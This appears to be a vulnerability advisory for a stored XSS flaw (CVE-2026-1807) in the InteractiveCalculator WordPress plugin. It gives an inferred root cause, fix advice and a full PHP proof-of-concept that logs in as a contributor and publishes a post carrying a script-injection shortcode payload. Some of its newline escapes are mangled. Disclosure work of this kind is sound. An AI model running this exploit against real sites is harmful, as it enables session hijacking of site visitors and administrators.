Atomic Edge analysis of CVE-2026-1807 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the InteractiveCalculator WordPress plugin. Attackers with contributor-level permissions or higher can inject malicious scripts via the ‘interactivecalculator’ shortcode’s ‘id’ attribute. The injected scripts execute whenever a user views a page containing the compromised shortcode.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely registers a shortcode handler using `add_shortcode(‘interactivecalculator’, …)`. This handler processes attributes like ‘id’ but fails to apply proper sanitization functions such as `sanitize_text_field()` or output escaping functions like `esc_attr()` before echoing the attribute value into page HTML. This inference is based on the CWE-79 classification and the vulnerability description referencing insufficient input sanitization and output escaping.
Exploitation requires an authenticated attacker with contributor-level access. The attacker creates or edits a post or page, inserting the shortcode `[interactivecalculator id=”maliciousPayload()”]`. The plugin stores this unsanitized attribute in the post content. When WordPress renders the page, the plugin’s shortcode handler outputs the ‘id’ value directly without escaping, causing script execution in visitors’ browsers. The attack vector is the WordPress editor interface, with the payload delivered via the standard post update mechanism (POST requests to `/wp-admin/post.php`).
Remediation requires implementing proper input validation and output escaping. The patched version likely adds `sanitize_text_field()` or similar validation when processing the shortcode attributes. It also likely adds `esc_attr()` or equivalent output escaping when echoing the ‘id’ attribute value into HTML. WordPress developers should follow the core security guidelines: validate early, escape late, and never trust user input.
Successful exploitation allows attackers to perform actions within the victim’s browser context. This can lead to session hijacking, administrative actions performed by logged-in administrators, content defacement, or redirection to malicious sites. The stored nature means a single injection affects all users viewing the compromised page. The CVSS score of 6.4 reflects medium confidentiality and integrity impacts with no availability impact, but with scope change (affecting other site components).
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1807 - InteractiveCalculator for WordPress <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2026-1807
* Assumptions:
* 1. The plugin registers a shortcode 'interactivecalculator' that accepts an 'id' attribute
* 2. The plugin fails to sanitize/escape the 'id' attribute before output
* 3. Contributor-level authentication is required (user can edit posts)
* 4. Standard WordPress nonce protection exists for post edits
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS - must have contributor role
$password = 'contributor_password'; // CHANGE THIS
// Payload to inject - basic XSS alert for demonstration
$malicious_id = '"><script>alert(document.domain)</script><"';
$shortcode = '[interactivecalculator id="' . $malicious_id . '"]';
// Step 1: Authenticate and get nonce for post creation
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
if (curl_errno($ch)) {
die('Login failed: ' . curl_error($ch));
}
// Step 2: Extract nonce from post creation page
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
CURLOPT_POST => false
]);
$response = curl_exec($ch);
// Look for the nonce in the page (simplified pattern)
preg_match('/"_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
if (empty($matches[1])) {
die('Could not extract nonce');
}
$nonce = $matches[1];
// Step 3: Create a new post with the malicious shortcode
$post_title = 'Test Post with XSS ' . time();
$post_content = 'This post contains the vulnerable shortcode: ' . $shortcode;
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'post_title' => $post_title,
'content' => $post_content,
'action' => 'editpost',
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/post-new.php',
'post_type' => 'post',
'post_status' => 'publish',
'publish' => 'Publish'
])
]);
$response = curl_exec($ch);
if (strpos($response, 'Post published') !== false || strpos($response, 'Post updated') !== false) {
echo "[+] Exploit likely successful. Post created with malicious shortcode.n";
echo "[+] Visit the published post to trigger the XSS payload.n";
} else {
echo "[-] Post creation may have failed. Check permissions and nonce.n";
}
curl_close($ch);
unlink('cookies.txt');
?>
